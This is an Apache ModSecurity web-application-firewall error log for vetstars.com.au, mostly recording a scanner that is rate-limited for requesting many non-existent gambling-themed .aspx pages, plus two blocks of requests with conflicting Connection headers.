[Thu May 21 08:54:15.656056 2026] [:error] [pid 9188:tid 9206] [client 43.167.245.18:53858] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag5Xt7GYm6q5dNSUvA91AwAAAc4"]
[Thu May 21 13:32:36.110713 2026] [:error] [pid 49877:tid 49897] [client 54.37.252.231:50438] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ag6Y9BgN4MeSe4kIL9AdNQAAAAk"]
[Thu May 21 13:32:39.628706 2026] [:error] [pid 49884:tid 49960] [client 54.37.252.231:50978] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ag6Y965MPpsTNNHWS6hTLQAAAI0"]
[Thu May 21 13:32:43.831640 2026] [:error] [pid 49884:tid 49947] [client 54.37.252.231:53578] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ag6Y-65MPpsTNNHWS6hTPAAAAIA"]
[Thu May 21 13:32:46.739845 2026] [:error] [pid 49884:tid 49953] [client 54.37.252.231:53588] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ag6Y_q5MPpsTNNHWS6hTQgAAAIY"]
[Thu May 21 13:32:50.185585 2026] [:error] [pid 49879:tid 49935] [client 54.37.252.231:46028] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ag6ZAoVqYDjFSyG2gFo8CAAAAE8"]
[Thu May 21 13:32:54.148427 2026] [:error] [pid 51613:tid 51617] [client 54.37.252.231:46032] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ag6ZBmbP0MDvqrVnwerH0gAAAQI"]
[Thu May 21 13:32:58.309368 2026] [:error] [pid 9157:tid 9167] [client 54.37.252.231:46036] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ag6ZCsGfHcLNqE8m88Jg1wAAAYg"]
[Thu May 21 13:33:02.495497 2026] [:error] [pid 9188:tid 9197] [client 54.37.252.231:54660] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ag6ZDrGYm6q5dNSUvA-jSwAAAcU"]
[Thu May 21 13:33:05.589727 2026] [:error] [pid 9189:tid 9221] [client 54.37.252.231:54668] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ag6ZEZvTDh1NbYizKVxkigAAAgI"]
[Thu May 21 13:33:08.730890 2026] [:error] [pid 51613:tid 51632] [client 54.37.252.231:54672] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ag6ZFGbP0MDvqrVnwerH3AAAARE"]
[Thu May 21 13:33:11.603613 2026] [:error] [pid 49982:tid 50003] [client 54.37.252.231:34592] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ag6ZF2FwIDa5Tf8O4baU4QAAANM"]
[Thu May 21 13:33:14.998280 2026] [:error] [pid 49982:tid 49987] [client 54.37.252.231:34594] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ag6ZGmFwIDa5Tf8O4baU6QAAAMM"]
[Thu May 21 13:33:18.302513 2026] [:error] [pid 9188:tid 9212] [client 54.37.252.231:34604] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ag6ZHrGYm6q5dNSUvA-jWgAAAdQ"]
[Thu May 21 13:33:21.658115 2026] [:error] [pid 9188:tid 9205] [client 54.37.252.231:59640] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ag6ZIbGYm6q5dNSUvA-jYQAAAc0"]
[Thu May 21 13:33:24.499412 2026] [:error] [pid 49884:tid 49970] [client 54.37.252.231:59656] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ag6ZJK5MPpsTNNHWS6hTZgAAAJc"]
[Thu May 21 13:33:28.174081 2026] [:error] [pid 51613:tid 51626] [client 54.37.252.231:59658] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ag6ZKGbP0MDvqrVnwerH4AAAAQs"]
[Thu May 21 13:33:31.871007 2026] [:error] [pid 49877:tid 49903] [client 54.37.252.231:39326] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ag6ZKxgN4MeSe4kIL9AdQgAAAA8"]
[Thu May 21 13:34:04.524526 2026] [:error] [pid 49877:tid 49897] [client 54.37.252.231:39336] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ag6ZTBgN4MeSe4kIL9AdTgAAAAk"]
[Thu May 21 13:34:08.574937 2026] [:error] [pid 9189:tid 9220] [client 54.37.252.231:33542] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ag6ZUJvTDh1NbYizKVxkswAAAgE"]
[Thu May 21 13:34:11.819767 2026] [:error] [pid 49877:tid 49890] [client 54.37.252.231:52568] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ag6ZUxgN4MeSe4kIL9AdVAAAAAI"]
[Thu May 21 13:34:14.793433 2026] [:error] [pid 49884:tid 49961] [client 54.37.252.231:52580] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ag6ZVq5MPpsTNNHWS6hTgQAAAI4"]
[Thu May 21 13:34:18.308030 2026] [:error] [pid 49884:tid 49951] [client 54.37.252.231:52596] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ag6ZWq5MPpsTNNHWS6hTgwAAAIQ"]
[Thu May 21 13:34:21.572902 2026] [:error] [pid 49884:tid 49947] [client 54.37.252.231:50746] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ag6ZXa5MPpsTNNHWS6hTjAAAAIA"]
[Thu May 21 13:34:25.472493 2026] [:error] [pid 9157:tid 9160] [client 54.37.252.231:50758] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ag6ZYcGfHcLNqE8m88Jg8wAAAYE"]
[Thu May 21 13:34:28.935957 2026] [:error] [pid 9189:tid 9227] [client 54.37.252.231:50774] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ag6ZZJvTDh1NbYizKVxkyQAAAgg"]
[Thu May 21 13:34:32.674625 2026] [:error] [pid 9189:tid 9225] [client 54.37.252.231:45242] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ag6ZaJvTDh1NbYizKVxkzAAAAgY"]
[Thu May 21 13:34:35.492298 2026] [:error] [pid 51613:tid 51629] [client 54.37.252.231:45246] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ag6Za2bP0MDvqrVnwerH-wAAAQ4"]
[Thu May 21 13:34:38.738274 2026] [:error] [pid 49879:tid 49931] [client 54.37.252.231:45262] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ag6ZboVqYDjFSyG2gFo8NwAAAEs"]
[Thu May 21 13:34:41.890538 2026] [:error] [pid 9114:tid 9127] [client 54.37.252.231:49362] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ag6ZcW8FiJqDBEoTvqxR-wAAAUs"]
[Thu May 21 13:34:45.513762 2026] [:error] [pid 49982:tid 49986] [client 54.37.252.231:49374] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ag6ZdWFwIDa5Tf8O4baVSAAAAMI"]
[Thu May 21 13:34:48.877064 2026] [:error] [pid 9114:tid 9134] [client 54.37.252.231:49378] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ag6ZeG8FiJqDBEoTvqxSBgAAAVI"]
[Thu May 21 13:34:53.371423 2026] [:error] [pid 49884:tid 49971] [client 54.37.252.231:35680] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ag6Zfa5MPpsTNNHWS6hTsQAAAJg"]
[Thu May 21 13:34:56.199436 2026] [:error] [pid 49884:tid 49954] [client 54.37.252.231:35696] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ag6ZgK5MPpsTNNHWS6hTuQAAAIc"]
[Thu May 21 13:34:59.465628 2026] [:error] [pid 9114:tid 9121] [client 54.37.252.231:35702] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ag6Zg28FiJqDBEoTvqxSCQAAAUU"]
[Thu May 21 13:35:46.174029 2026] [:error] [pid 49884:tid 49954] [client 54.37.252.231:49210] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ag6Zsq5MPpsTNNHWS6hUFgAAAIc"]
[Thu May 21 13:35:49.636454 2026] [:error] [pid 49982:tid 49991] [client 54.37.252.231:50592] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ag6ZtWFwIDa5Tf8O4baVcAAAAMc"]
[Thu May 21 13:35:52.501524 2026] [:error] [pid 51613:tid 51626] [client 54.37.252.231:41454] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ag6ZuGbP0MDvqrVnwerIDQAAAQs"]
[Thu May 21 13:35:55.260084 2026] [:error] [pid 49884:tid 49954] [client 54.37.252.231:41464] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ag6Zu65MPpsTNNHWS6hULgAAAIc"]
[Thu May 21 13:35:58.147406 2026] [:error] [pid 49877:tid 49902] [client 54.37.252.231:41476] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ag6ZvhgN4MeSe4kIL9AdfQAAAA4"]
[Thu May 21 13:36:01.156908 2026] [:error] [pid 51613:tid 51615] [client 54.37.252.231:57354] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ag6ZwWbP0MDvqrVnwerIEwAAAQA"]
[Thu May 21 13:36:04.111740 2026] [:error] [pid 49884:tid 49960] [client 54.37.252.231:57360] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ag6ZxK5MPpsTNNHWS6hUQAAAAI0"]
[Thu May 21 13:36:07.013014 2026] [:error] [pid 49982:tid 49992] [client 54.37.252.231:57368] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ag6Zx2FwIDa5Tf8O4baVcwAAAMg"]
[Thu May 21 13:36:10.893713 2026] [:error] [pid 9188:tid 9194] [client 54.37.252.231:38880] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ag6ZyrGYm6q5dNSUvA-j4gAAAcI"]
[Thu May 21 13:36:14.301832 2026] [:error] [pid 49884:tid 49958] [client 54.37.252.231:38884] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ag6Zzq5MPpsTNNHWS6hUewAAAIs"]
[Thu May 21 13:36:17.394374 2026] [:error] [pid 9189:tid 9222] [client 54.37.252.231:38898] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ag6Z0ZvTDh1NbYizKVxlCQAAAgM"]
[Thu May 21 13:36:20.567502 2026] [:error] [pid 49877:tid 49898] [client 54.37.252.231:39678] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ag6Z1BgN4MeSe4kIL9AdngAAAAo"]
[Thu May 21 13:36:25.151080 2026] [:error] [pid 9189:tid 9232] [client 54.37.252.231:39688] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ag6Z2ZvTDh1NbYizKVxlEAAAAg0"]
[Thu May 21 13:36:28.271603 2026] [:error] [pid 49884:tid 49953] [client 54.37.252.231:39698] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ag6Z3K5MPpsTNNHWS6hUoAAAAIY"]
[Thu May 21 13:36:30.878884 2026] [:error] [pid 49884:tid 49960] [client 54.37.252.231:39360] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ag6Z3q5MPpsTNNHWS6hUpQAAAI0"]
[Thu May 21 13:36:34.749573 2026] [:error] [pid 9189:tid 9236] [client 54.37.252.231:39374] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ag6Z4pvTDh1NbYizKVxlFAAAAhE"]
[Thu May 21 13:36:37.698115 2026] [:error] [pid 49884:tid 49955] [client 54.37.252.231:39378] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ag6Z5a5MPpsTNNHWS6hUtwAAAIg"]
[Thu May 21 13:36:41.135729 2026] [:error] [pid 51613:tid 51628] [client 54.37.252.231:41928] [client 54.37.252.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ag6Z6WbP0MDvqrVnwerINQAAAQ0"]
[Thu May 21 14:14:32.383012 2026] [:error] [pid 49982:tid 50004] [client 43.135.142.37:45324] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag6iyGFwIDa5Tf8O4bafJwAAANQ"]
